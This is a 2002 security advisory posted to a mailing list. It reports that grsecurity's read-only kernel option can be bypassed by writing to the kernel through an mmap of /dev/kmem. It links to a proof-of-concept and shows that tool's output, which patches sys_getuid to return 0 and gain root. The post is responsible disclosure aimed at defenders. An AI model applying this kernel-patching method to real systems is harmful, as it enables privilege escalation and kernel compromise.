Grsecurity problem - modifying "read-only kernel"

From: Guillaume PELAT (guillaume.pelatat_private)
Date: Fri May 17 2002 - 01:07:31 PDT

  • Next message: 3APA3A: "Re[2]: dH team & SECURITY.NNOV: special device access, information leakage and DoS in Outlook Express"

    Affected:
        Grsecurity(and maybe other linux hardening patchs).
    
    Description:
        Grsecurity (and maybe other linux hardening patchs)
     integrates a variant of the patch published in phrack p58-0x07
     article supposed to forbid writing to /dev/mem and /dev/kmem by
     disabling function do_write_mem().
     This is done by activating the option "Read-only kernel"
     (CONFIG_GRKERNSEC_KMEM).
    
       "CONFIG_GRKERNSEC_KMEM
       If you say Y here, root will not be able to modify the contents of
       kernel memory.  If module support is removed in addition to enabling
       this option, the ability of an attacker to insert foreign code into
       a running kernel is removed."
    
    Unfortunately, there is another way to modify the kernel using
    /dev/mem or /dev/kmem.
    It is possible to manipulate /dev/kmem and /dev/mem simply by
    manipulating memory instead of using normal filesystem I/O calls.
    By mmap'ing /dev/kmem or /dev/mem, an attacker can modify directly the
    content of the running kernel without using do_write_mem().
    For that, /dev/kmem must be open in writing mode, then mmap'ed with
    PROT_WRITE flag and MAP_SHARED mode.
    
    An example of kernel modification with grsecurity kmem read-only patch
    activated and lkm supports disabled is available at the following
    address: http://www.epita.fr:8000/~pelat_g/kmem_mmap.php
    
    This example changes sys_getuid code so that it always returns 0,
    using kmem/mmap method.
    
    test@Zaibach:~$ uname -a   # kmem read-only activated and lkm disabled
    Linux plop 2.4.18-grsec-1.9.4 #5 Wed Apr 10 19:32:33 CEST 2002 i686
    test@Zaibach:~/ id
    uid=1000(test) gid=1000(users) groups=1000(users)
    
    Zaibach:~/kmem_mmap# ./kmem_mmap /usr/src/linux/System.map
    Loading symbols from /usr/src/linux/System.map...
    Opening /dev/kmem...
    Reading current sys_getuid code...
    b8 00 e0 ff ff 21 e0 8b 80 30 01 00 00 c3
    Was expecting:
    b8 00 e0 ff ff 21 e0 8b 80 30 01 00 00 c3
    Replacing sys_getuid code by newcode - It may crash your kernel...
    b8 00 e0 ff ff 21 e0 90 b8 00 00 00 00 c3
    Done
    Zaibach:~/kmem_mmap#
    
    test@Zaibach:~/ id
    uid=0(root) gid=1000(test) euid=1000(test) groups=1000(users)
    test@Zaibach:~/ su
    Zaibach:~/#
    
    Note: Grsecurity developpement team has been contacted,
    CONFIG_GRKERNSEC_KMEM help message has been modified as follow:
      "CONFIG_GRKERNSEC_KMEM
      If you say Y here, root will not be able to modify the contents of
      kernel memory via ioctl.  There are still many other methods of
      inserting code into the kernel that removing module support and
     writing to /dev/kmem will not stop.  If you want to further restrict   
    the actions of root, it is recommended that you use grsecurity's ACL
     system.  This  option is not known to cause any software
     incompatibilities, therefore it is recommended that you say Y here."
    
    It is also possible to modify mmap_mem function in order to disallow
    mmap on mem and kmem with PROT_WRITE flag.
    But this causes problems with programs like XFree86 that may need access
    to /dev/mem.
    
    As a conclusion, preventing direct write to kmem and disabling lkm
    support doesnt mean it is impossible to modify the running kernel, so
    dont forget to use a good ACL policy :-)
    
    --
    Guillaume Pelat
    Security Expert
    
    INTEXXIA
    171 Av. Georges Clemenceau
    92024 NANTERRE CEDEX - FRANCE
    tel: +33 1 55 69 49 10
    fax:|  +33 1 55 69 78 80
    http://www.intexxia.com
    



    This archive was generated by hypermail 2b30 : Fri May 17 2002 - 14:08:05 PDT